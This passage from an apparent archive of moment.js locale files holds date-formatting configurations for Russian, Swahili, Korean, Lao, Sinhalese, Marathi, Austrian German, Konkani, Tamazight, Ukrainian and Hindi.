'янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.'.split('_') }, weekdays : { standalone: 'воскресенье_понедельник_вторник_среда_четверг_пятница_суббота'.split('_'), format: 'воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу'.split('_'), isFormat: /\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?\] ?dddd/ }, weekdaysShort : 'вс_пн_вт_ср_чт_пт_сб'.split('_'), weekdaysMin : 'вс_пн_вт_ср_чт_пт_сб'.split('_'), monthsParse : monthsParse, longMonthsParse : monthsParse, shortMonthsParse : monthsParse, // полные названия с падежами, по три буквы, для некоторых, по 4 буквы, сокращения с точкой и без точки monthsRegex: /^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i, // копия предыдущего monthsShortRegex: /^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i, // полные названия с падежами monthsStrictRegex: /^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i, // Выражение, которое соотвествует только сокращённым формам monthsShortStrictRegex: /^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i, longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY г.', LLL : 'D MMMM YYYY г., H:mm', LLLL : 'dddd, D MMMM YYYY г., H:mm' }, calendar : { sameDay: '[Сегодня, в] LT', nextDay: '[Завтра, в] LT', lastDay: '[Вчера, в] LT', nextWeek: function (now) { if (now.week() !== this.week()) { switch (this.day()) { case 0: return '[В следующее] dddd, [в] LT'; case 1: case 2: case 4: return '[В следующий] dddd, [в] LT'; case 3: case 5: case 6: return '[В следующую] dddd, [в] LT'; } } else { if (this.day() === 2) { return '[Во] dddd, [в] LT'; } else { return '[В] dddd, [в] LT'; } } }, lastWeek: function (now) { if (now.week() !== this.week()) { switch (this.day()) { case 0: return '[В прошлое] dddd, [в] LT'; case 1: case 2: case 4: return '[В прошлый] dddd, [в] LT'; case 3: case 5: case 6: return '[В прошлую] dddd, [в] LT'; } } else { if (this.day() === 2) { return '[Во] dddd, [в] LT'; } else { return '[В] dddd, [в] LT'; } } }, sameElse: 'L' }, relativeTime : { future : 'через %s', past : '%s назад', s : 'несколько секунд', ss : relativeTimeWithPlural, m : relativeTimeWithPlural, mm : relativeTimeWithPlural, h : 'час', hh : relativeTimeWithPlural, d : 'день', dd : relativeTimeWithPlural, M : 'месяц', MM : relativeTimeWithPlural, y : 'год', yy : relativeTimeWithPlural }, meridiemParse: /ночи|утра|дня|вечера/i, isPM : function (input) { return /^(дня|вечера)$/.test(input); }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'ночи'; } else if (hour < 12) { return 'утра'; } else if (hour < 17) { return 'дня'; } else { return 'вечера'; } }, dayOfMonthOrdinalParse: /\d{1,2}-(й|го|я)/, ordinal: function (number, period) { switch (period) { case 'M': case 'd': case 'DDD': return number + '-й'; case 'D': return number + '-го'; case 'w': case 'W': return number + '-я'; default: return number; } }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/sw.js000064400000003235151677412300007003 0ustar00//! moment.js locale configuration //! locale : Swahili [sw] //! author : Fahad Kassim : https://github.com/fadsel import moment from '../moment'; export default moment.defineLocale('sw', { months : 'Januari_Februari_Machi_Aprili_Mei_Juni_Julai_Agosti_Septemba_Oktoba_Novemba_Desemba'.split('_'), monthsShort : 'Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ago_Sep_Okt_Nov_Des'.split('_'), weekdays : 'Jumapili_Jumatatu_Jumanne_Jumatano_Alhamisi_Ijumaa_Jumamosi'.split('_'), weekdaysShort : 'Jpl_Jtat_Jnne_Jtan_Alh_Ijm_Jmos'.split('_'), weekdaysMin : 'J2_J3_J4_J5_Al_Ij_J1'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[leo saa] LT', nextDay : '[kesho saa] LT', nextWeek : '[wiki ijayo] dddd [saat] LT', lastDay : '[jana] LT', lastWeek : '[wiki iliyopita] dddd [saat] LT', sameElse : 'L' }, relativeTime : { future : '%s baadaye', past : 'tokea %s', s : 'hivi punde', ss : 'sekunde %d', m : 'dakika moja', mm : 'dakika %d', h : 'saa limoja', hh : 'masaa %d', d : 'siku moja', dd : 'masiku %d', M : 'mwezi mmoja', MM : 'miezi %d', y : 'mwaka mmoja', yy : 'miaka %d' }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/ko.js000064400000004423151677412300006763 0ustar00//! moment.js locale configuration //! locale : Korean [ko] //! author : Kyungwook, Park : https://github.com/kyungw00k //! author : Jeeeyul Lee <jeeeyul@gmail.com> import moment from '../moment'; export default moment.defineLocale('ko', { months : '1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월'.split('_'), monthsShort : '1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월'.split('_'), weekdays : '일요일_월요일_화요일_수요일_목요일_금요일_토요일'.split('_'), weekdaysShort : '일_월_화_수_목_금_토'.split('_'), weekdaysMin : '일_월_화_수_목_금_토'.split('_'), longDateFormat : { LT : 'A h:mm', LTS : 'A h:mm:ss', L : 'YYYY.MM.DD.', LL : 'YYYY년 MMMM D일', LLL : 'YYYY년 MMMM D일 A h:mm', LLLL : 'YYYY년 MMMM D일 dddd A h:mm', l : 'YYYY.MM.DD.', ll : 'YYYY년 MMMM D일', lll : 'YYYY년 MMMM D일 A h:mm', llll : 'YYYY년 MMMM D일 dddd A h:mm' }, calendar : { sameDay : '오늘 LT', nextDay : '내일 LT', nextWeek : 'dddd LT', lastDay : '어제 LT', lastWeek : '지난주 dddd LT', sameElse : 'L' }, relativeTime : { future : '%s 후', past : '%s 전', s : '몇 초', ss : '%d초', m : '1분', mm : '%d분', h : '한 시간', hh : '%d시간', d : '하루', dd : '%d일', M : '한 달', MM : '%d달', y : '일 년', yy : '%d년' }, dayOfMonthOrdinalParse : /\d{1,2}(일|월|주)/, ordinal : function (number, period) { switch (period) { case 'd': case 'D': case 'DDD': return number + '일'; case 'M': return number + '월'; case 'w': case 'W': return number + '주'; default: return number; } }, meridiemParse : /오전|오후/, isPM : function (token) { return token === '오후'; }, meridiem : function (hour, minute, isUpper) { return hour < 12 ? '오전' : '오후'; } }); locale/lo.js000064400000005116151677412300006764 0ustar00//! moment.js locale configuration //! locale : Lao [lo] //! author : Ryan Hart : https://github.com/ryanhart2 import moment from '../moment'; export default moment.defineLocale('lo', { months : 'ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ'.split('_'), monthsShort : 'ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ'.split('_'), weekdays : 'ອາທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ'.split('_'), weekdaysShort : 'ທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ'.split('_'), weekdaysMin : 'ທ_ຈ_ອຄ_ພ_ພຫ_ສກ_ສ'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'ວັນdddd D MMMM YYYY HH:mm' }, meridiemParse: /ຕອນເຊົ້າ|ຕອນແລງ/, isPM: function (input) { return input === 'ຕອນແລງ'; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'ຕອນເຊົ້າ'; } else { return 'ຕອນແລງ'; } }, calendar : { sameDay : '[ມື້ນີ້ເວລາ] LT', nextDay : '[ມື້ອື່ນເວລາ] LT', nextWeek : '[ວັນ]dddd[ໜ້າເວລາ] LT', lastDay : '[ມື້ວານນີ້ເວລາ] LT', lastWeek : '[ວັນ]dddd[ແລ້ວນີ້ເວລາ] LT', sameElse : 'L' }, relativeTime : { future : 'ອີກ %s', past : '%sຜ່ານມາ', s : 'ບໍ່ເທົ່າໃດວິນາທີ', ss : '%d ວິນາທີ' , m : '1 ນາທີ', mm : '%d ນາທີ', h : '1 ຊົ່ວໂມງ', hh : '%d ຊົ່ວໂມງ', d : '1 ມື້', dd : '%d ມື້', M : '1 ເດືອນ', MM : '%d ເດືອນ', y : '1 ປີ', yy : '%d ປີ' }, dayOfMonthOrdinalParse: /(ທີ່)\d{1,2}/, ordinal : function (number) { return 'ທີ່' + number; } }); locale/si.js000064400000005240151677412300006763 0ustar00//! moment.js locale configuration //! locale : Sinhalese [si] //! author : Sampath Sitinamaluwa : https://github.com/sampathsris import moment from '../moment'; /*jshint -W100*/ export default moment.defineLocale('si', { months : 'ජනවාරි_පෙබරවාරි_මාර්තු_අප්රේල්_මැයි_ජූනි_ජූලි_අගෝස්තු_සැප්තැම්බර්_ඔක්තෝබර්_නොවැම්බර්_දෙසැම්බර්'.split('_'), monthsShort : 'ජන_පෙබ_මාර්_අප්_මැයි_ජූනි_ජූලි_අගෝ_සැප්_ඔක්_නොවැ_දෙසැ'.split('_'), weekdays : 'ඉරිදා_සඳුදා_අඟහරුවාදා_බදාදා_බ්රහස්පතින්දා_සිකුරාදා_සෙනසුරාදා'.split('_'), weekdaysShort : 'ඉරි_සඳු_අඟ_බදා_බ්රහ_සිකු_සෙන'.split('_'), weekdaysMin : 'ඉ_ස_අ_බ_බ්ර_සි_සෙ'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'a h:mm', LTS : 'a h:mm:ss', L : 'YYYY/MM/DD', LL : 'YYYY MMMM D', LLL : 'YYYY MMMM D, a h:mm', LLLL : 'YYYY MMMM D [වැනි] dddd, a h:mm:ss' }, calendar : { sameDay : '[අද] LT[ට]', nextDay : '[හෙට] LT[ට]', nextWeek : 'dddd LT[ට]', lastDay : '[ඊයේ] LT[ට]', lastWeek : '[පසුගිය] dddd LT[ට]', sameElse : 'L' }, relativeTime : { future : '%sකින්', past : '%sකට පෙර', s : 'තත්පර කිහිපය', ss : 'තත්පර %d', m : 'මිනිත්තුව', mm : 'මිනිත්තු %d', h : 'පැය', hh : 'පැය %d', d : 'දිනය', dd : 'දින %d', M : 'මාසය', MM : 'මාස %d', y : 'වසර', yy : 'වසර %d' }, dayOfMonthOrdinalParse: /\d{1,2} වැනි/, ordinal : function (number) { return number + ' වැනි'; }, meridiemParse : /පෙර වරු|පස් වරු|පෙ.ව|ප.ව./, isPM : function (input) { return input === 'ප.ව.' || input === 'පස් වරු'; }, meridiem : function (hours, minutes, isLower) { if (hours > 11) { return isLower ? 'ප.ව.' : 'පස් වරු'; } else { return isLower ? 'පෙ.ව.' : 'පෙර වරු'; } } }); locale/mr.js000064400000013363151677412300006773 0ustar00//! moment.js locale configuration //! locale : Marathi [mr] //! author : Harshad Kale : https://github.com/kalehv //! author : Vivek Athalye : https://github.com/vnathalye import moment from '../moment'; var symbolMap = { '1': '१', '2': '२', '3': '३', '4': '४', '5': '५', '6': '६', '7': '७', '8': '८', '9': '९', '0': '०' }, numberMap = { '१': '1', '२': '2', '३': '3', '४': '4', '५': '5', '६': '6', '७': '7', '८': '8', '९': '9', '०': '0' }; function relativeTimeMr(number, withoutSuffix, string, isFuture) { var output = ''; if (withoutSuffix) { switch (string) { case 's': output = 'काही सेकंद'; break; case 'ss': output = '%d सेकंद'; break; case 'm': output = 'एक मिनिट'; break; case 'mm': output = '%d मिनिटे'; break; case 'h': output = 'एक तास'; break; case 'hh': output = '%d तास'; break; case 'd': output = 'एक दिवस'; break; case 'dd': output = '%d दिवस'; break; case 'M': output = 'एक महिना'; break; case 'MM': output = '%d महिने'; break; case 'y': output = 'एक वर्ष'; break; case 'yy': output = '%d वर्षे'; break; } } else { switch (string) { case 's': output = 'काही सेकंदां'; break; case 'ss': output = '%d सेकंदां'; break; case 'm': output = 'एका मिनिटा'; break; case 'mm': output = '%d मिनिटां'; break; case 'h': output = 'एका तासा'; break; case 'hh': output = '%d तासां'; break; case 'd': output = 'एका दिवसा'; break; case 'dd': output = '%d दिवसां'; break; case 'M': output = 'एका महिन्या'; break; case 'MM': output = '%d महिन्यां'; break; case 'y': output = 'एका वर्षा'; break; case 'yy': output = '%d वर्षां'; break; } } return output.replace(/%d/i, number); } export default moment.defineLocale('mr', { months : 'जानेवारी_फेब्रुवारी_मार्च_एप्रिल_मे_जून_जुलै_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर'.split('_'), monthsShort: 'जाने._फेब्रु._मार्च._एप्रि._मे._जून._जुलै._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.'.split('_'), monthsParseExact : true, weekdays : 'रविवार_सोमवार_मंगळवार_बुधवार_गुरूवार_शुक्रवार_शनिवार'.split('_'), weekdaysShort : 'रवि_सोम_मंगळ_बुध_गुरू_शुक्र_शनि'.split('_'), weekdaysMin : 'र_सो_मं_बु_गु_शु_श'.split('_'), longDateFormat : { LT : 'A h:mm वाजता', LTS : 'A h:mm:ss वाजता', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, A h:mm वाजता', LLLL : 'dddd, D MMMM YYYY, A h:mm वाजता' }, calendar : { sameDay : '[आज] LT', nextDay : '[उद्या] LT', nextWeek : 'dddd, LT', lastDay : '[काल] LT', lastWeek: '[मागील] dddd, LT', sameElse : 'L' }, relativeTime : { future: '%sमध्ये', past: '%sपूर्वी', s: relativeTimeMr, ss: relativeTimeMr, m: relativeTimeMr, mm: relativeTimeMr, h: relativeTimeMr, hh: relativeTimeMr, d: relativeTimeMr, dd: relativeTimeMr, M: relativeTimeMr, MM: relativeTimeMr, y: relativeTimeMr, yy: relativeTimeMr }, preparse: function (string) { return string.replace(/[१२३४५६७८९०]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, meridiemParse: /रात्री|सकाळी|दुपारी|सायंकाळी/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'रात्री') { return hour < 4 ? hour : hour + 12; } else if (meridiem === 'सकाळी') { return hour; } else if (meridiem === 'दुपारी') { return hour >= 10 ? hour : hour + 12; } else if (meridiem === 'सायंकाळी') { return hour + 12; } }, meridiem: function (hour, minute, isLower) { if (hour < 4) { return 'रात्री'; } else if (hour < 10) { return 'सकाळी'; } else if (hour < 17) { return 'दुपारी'; } else if (hour < 20) { return 'सायंकाळी'; } else { return 'रात्री'; } }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/de-at.js000064400000005045151677412300007345 0ustar00//! moment.js locale configuration //! locale : German (Austria) [de-at] //! author : lluchs : https://github.com/lluchs //! author: Menelion Elensúle: https://github.com/Oire //! author : Martin Groller : https://github.com/MadMG //! author : Mikolaj Dadela : https://github.com/mik01aj import moment from '../moment'; function processRelativeTime(number, withoutSuffix, key, isFuture) { var format = { 'm': ['eine Minute', 'einer Minute'], 'h': ['eine Stunde', 'einer Stunde'], 'd': ['ein Tag', 'einem Tag'], 'dd': [number + ' Tage', number + ' Tagen'], 'M': ['ein Monat', 'einem Monat'], 'MM': [number + ' Monate', number + ' Monaten'], 'y': ['ein Jahr', 'einem Jahr'], 'yy': [number + ' Jahre', number + ' Jahren'] }; return withoutSuffix ? format[key][0] : format[key][1]; } export default moment.defineLocale('de-at', { months : 'Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember'.split('_'), monthsShort : 'Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.'.split('_'), monthsParseExact : true, weekdays : 'Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag'.split('_'), weekdaysShort : 'So._Mo._Di._Mi._Do._Fr._Sa.'.split('_'), weekdaysMin : 'So_Mo_Di_Mi_Do_Fr_Sa'.split('_'), weekdaysParseExact : true, longDateFormat : { LT: 'HH:mm', LTS: 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY HH:mm', LLLL : 'dddd, D. MMMM YYYY HH:mm' }, calendar : { sameDay: '[heute um] LT [Uhr]', sameElse: 'L', nextDay: '[morgen um] LT [Uhr]', nextWeek: 'dddd [um] LT [Uhr]', lastDay: '[gestern um] LT [Uhr]', lastWeek: '[letzten] dddd [um] LT [Uhr]' }, relativeTime : { future : 'in %s', past : 'vor %s', s : 'ein paar Sekunden', ss : '%d Sekunden', m : processRelativeTime, mm : '%d Minuten', h : processRelativeTime, hh : '%d Stunden', d : processRelativeTime, dd : processRelativeTime, M : processRelativeTime, MM : processRelativeTime, y : processRelativeTime, yy : processRelativeTime }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/gom-latn.js000064400000007634151677412300010077 0ustar00//! moment.js locale configuration //! locale : Konkani Latin script [gom-latn] //! author : The Discoverer : https://github.com/WikiDiscoverer import moment from '../moment'; function processRelativeTime(number, withoutSuffix, key, isFuture) { var format = { 's': ['thodde secondanim', 'thodde second'], 'ss': [number + ' secondanim', number + ' second'], 'm': ['eka mintan', 'ek minute'], 'mm': [number + ' mintanim', number + ' mintam'], 'h': ['eka horan', 'ek hor'], 'hh': [number + ' horanim', number + ' horam'], 'd': ['eka disan', 'ek dis'], 'dd': [number + ' disanim', number + ' dis'], 'M': ['eka mhoinean', 'ek mhoino'], 'MM': [number + ' mhoineanim', number + ' mhoine'], 'y': ['eka vorsan', 'ek voros'], 'yy': [number + ' vorsanim', number + ' vorsam'] }; return withoutSuffix ? format[key][0] : format[key][1]; } export default moment.defineLocale('gom-latn', { months : 'Janer_Febrer_Mars_Abril_Mai_Jun_Julai_Agost_Setembr_Otubr_Novembr_Dezembr'.split('_'), monthsShort : 'Jan._Feb._Mars_Abr._Mai_Jun_Jul._Ago._Set._Otu._Nov._Dez.'.split('_'), monthsParseExact : true, weekdays : 'Aitar_Somar_Mongllar_Budvar_Brestar_Sukrar_Son\'var'.split('_'), weekdaysShort : 'Ait._Som._Mon._Bud._Bre._Suk._Son.'.split('_'), weekdaysMin : 'Ai_Sm_Mo_Bu_Br_Su_Sn'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'A h:mm [vazta]', LTS : 'A h:mm:ss [vazta]', L : 'DD-MM-YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY A h:mm [vazta]', LLLL : 'dddd, MMMM[achea] Do, YYYY, A h:mm [vazta]', llll: 'ddd, D MMM YYYY, A h:mm [vazta]' }, calendar : { sameDay: '[Aiz] LT', nextDay: '[Faleam] LT', nextWeek: '[Ieta to] dddd[,] LT', lastDay: '[Kal] LT', lastWeek: '[Fatlo] dddd[,] LT', sameElse: 'L' }, relativeTime : { future : '%s', past : '%s adim', s : processRelativeTime, ss : processRelativeTime, m : processRelativeTime, mm : processRelativeTime, h : processRelativeTime, hh : processRelativeTime, d : processRelativeTime, dd : processRelativeTime, M : processRelativeTime, MM : processRelativeTime, y : processRelativeTime, yy : processRelativeTime }, dayOfMonthOrdinalParse : /\d{1,2}(er)/, ordinal : function (number, period) { switch (period) { // the ordinal 'er' only applies to day of the month case 'D': return number + 'er'; default: case 'M': case 'Q': case 'DDD': case 'd': case 'w': case 'W': return number; } }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. }, meridiemParse: /rati|sokalli|donparam|sanje/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'rati') { return hour < 4 ? hour : hour + 12; } else if (meridiem === 'sokalli') { return hour; } else if (meridiem === 'donparam') { return hour > 12 ? hour : hour + 12; } else if (meridiem === 'sanje') { return hour + 12; } }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'rati'; } else if (hour < 12) { return 'sokalli'; } else if (hour < 16) { return 'donparam'; } else if (hour < 20) { return 'sanje'; } else { return 'rati'; } } }); locale/tzm.js000064400000004462151677412300007167 0ustar00//! moment.js locale configuration //! locale : Central Atlas Tamazight [tzm] //! author : Abdel Said : https://github.com/abdelsaid import moment from '../moment'; export default moment.defineLocale('tzm', { months : 'ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ'.split('_'), monthsShort : 'ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ'.split('_'), weekdays : 'ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ'.split('_'), weekdaysShort : 'ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ'.split('_'), weekdaysMin : 'ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ'.split('_'), longDateFormat : { LT : 'HH:mm', LTS: 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay: '[ⴰⵙⴷⵅ ⴴ] LT', nextDay: '[ⴰⵙⴽⴰ ⴴ] LT', nextWeek: 'dddd [ⴴ] LT', lastDay: '[ⴰⵚⴰⵏⵜ ⴴ] LT', lastWeek: 'dddd [ⴴ] LT', sameElse: 'L' }, relativeTime : { future : 'ⴷⴰⴷⵅ ⵙ ⵢⴰⵏ %s', past : 'ⵢⴰⵏ %s', s : 'ⵉⵎⵉⴽ', ss : '%d ⵉⵎⵉⴽ', m : 'ⵎⵉⵏⵓⴺ', mm : '%d ⵎⵉⵏⵓⴺ', h : 'ⵙⴰⵄⴰ', hh : '%d ⵜⴰⵙⵙⴰⵄⵉⵏ', d : 'ⴰⵙⵙ', dd : '%d oⵙⵙⴰⵏ', M : 'ⴰⵢoⵓⵔ', MM : '%d ⵉⵢⵢⵉⵔⵏ', y : 'ⴰⵙⴳⴰⵙ', yy : '%d ⵉⵙⴳⴰⵙⵏ' }, week : { dow : 6, // Saturday is the first day of the week. doy : 12 // The week that contains Jan 1st is the first week of the year. } }); locale/uk.js000064400000013131151677412300006765 0ustar00//! moment.js locale configuration //! locale : Ukrainian [uk] //! author : zemlanin : https://github.com/zemlanin //! Author : Menelion Elensúle : https://github.com/Oire import moment from '../moment'; function plural(word, num) { var forms = word.split('_'); return num % 10 === 1 && num % 100 !== 11 ? forms[0] : (num % 10 >= 2 && num % 10 <= 4 && (num % 100 < 10 || num % 100 >= 20) ? forms[1] : forms[2]); } function relativeTimeWithPlural(number, withoutSuffix, key) { var format = { 'ss': withoutSuffix ? 'секунда_секунди_секунд' : 'секунду_секунди_секунд', 'mm': withoutSuffix ? 'хвилина_хвилини_хвилин' : 'хвилину_хвилини_хвилин', 'hh': withoutSuffix ? 'година_години_годин' : 'годину_години_годин', 'dd': 'день_дні_днів', 'MM': 'місяць_місяці_місяців', 'yy': 'рік_роки_років' }; if (key === 'm') { return withoutSuffix ? 'хвилина' : 'хвилину'; } else if (key === 'h') { return withoutSuffix ? 'година' : 'годину'; } else { return number + ' ' + plural(format[key], +number); } } function weekdaysCaseReplace(m, format) { var weekdays = { 'nominative': 'неділя_понеділок_вівторок_середа_четвер_п’ятниця_субота'.split('_'), 'accusative': 'неділю_понеділок_вівторок_середу_четвер_п’ятницю_суботу'.split('_'), 'genitive': 'неділі_понеділка_вівторка_середи_четверга_п’ятниці_суботи'.split('_') }; if (!m) { return weekdays['nominative']; } var nounCase = (/(\[[ВвУу]\]) ?dddd/).test(format) ? 'accusative' : ((/\[?(?:минулої|наступної)? ?\] ?dddd/).test(format) ? 'genitive' : 'nominative'); return weekdays[nounCase][m.day()]; } function processHoursFunction(str) { return function () { return str + 'о' + (this.hours() === 11 ? 'б' : '') + '] LT'; }; } export default moment.defineLocale('uk', { months : { 'format': 'січня_лютого_березня_квітня_травня_червня_липня_серпня_вересня_жовтня_листопада_грудня'.split('_'), 'standalone': 'січень_лютий_березень_квітень_травень_червень_липень_серпень_вересень_жовтень_листопад_грудень'.split('_') }, monthsShort : 'січ_лют_бер_квіт_трав_черв_лип_серп_вер_жовт_лист_груд'.split('_'), weekdays : weekdaysCaseReplace, weekdaysShort : 'нд_пн_вт_ср_чт_пт_сб'.split('_'), weekdaysMin : 'нд_пн_вт_ср_чт_пт_сб'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY р.', LLL : 'D MMMM YYYY р., HH:mm', LLLL : 'dddd, D MMMM YYYY р., HH:mm' }, calendar : { sameDay: processHoursFunction('[Сьогодні '), nextDay: processHoursFunction('[Завтра '), lastDay: processHoursFunction('[Вчора '), nextWeek: processHoursFunction('[У] dddd ['), lastWeek: function () { switch (this.day()) { case 0: case 3: case 5: case 6: return processHoursFunction('[Минулої] dddd [').call(this); case 1: case 2: case 4: return processHoursFunction('[Минулого] dddd [').call(this); } }, sameElse: 'L' }, relativeTime : { future : 'за %s', past : '%s тому', s : 'декілька секунд', ss : relativeTimeWithPlural, m : relativeTimeWithPlural, mm : relativeTimeWithPlural, h : 'годину', hh : relativeTimeWithPlural, d : 'день', dd : relativeTimeWithPlural, M : 'місяць', MM : relativeTimeWithPlural, y : 'рік', yy : relativeTimeWithPlural }, // M. E.: those two are virtually unused but a user might want to implement them for his/her website for some reason meridiemParse: /ночі|ранку|дня|вечора/, isPM: function (input) { return /^(дня|вечора)$/.test(input); }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'ночі'; } else if (hour < 12) { return 'ранку'; } else if (hour < 17) { return 'дня'; } else { return 'вечора'; } }, dayOfMonthOrdinalParse: /\d{1,2}-(й|го)/, ordinal: function (number, period) { switch (period) { case 'M': case 'd': case 'DDD': case 'w': case 'W': return number + '-й'; case 'D': return number + '-го'; default: return number; } }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/hi.js000064400000007653151677412300006762 0ustar00//! moment.js locale configuration //! locale : Hindi [hi] //! author : Mayank Singhal : https://github.com/mayanksinghal import moment from '../moment'; var symbolMap = { '1': '१', '2': '२', '3': '३', '4': '४', '5': '५', '6': '६', '7': '७', '8': '८', '9': '९', '0': '०' }, numberMap = { '१': '1', '२': '2', '३': '3', '४': '4', '५': '5', '६': '6', '७': '7', '८': '8', '९': '9', '०': '0' }; export default moment.defineLocale('hi', { months : 'जनवरी_फ़रवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितम्बर_अक्टूबर_नवम्बर_दिसम्बर'.split('_'), monthsShort : 'जन._फ़र._मार्च_अप्रै._मई_जून_जुल._अग._सित._अक्टू._नव._दिस.'.split('_'), monthsParseExact: true, weekdays : 'रविवार_सोमवार_मंगलवार_बुधवार_गुरूवार_शुक्रवार_शनिवार'.split('_'), weekdaysShort : 'रवि_सोम_मंगल_बुध_गुरू_शुक्र_शनि'.split('_'), weekdaysMin : 'र_सो_मं_बु_गु_शु_श'.split('_'), longDateFormat : { LT : 'A h:mm बजे', LTS : 'A h:mm:ss बजे', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, A h:mm 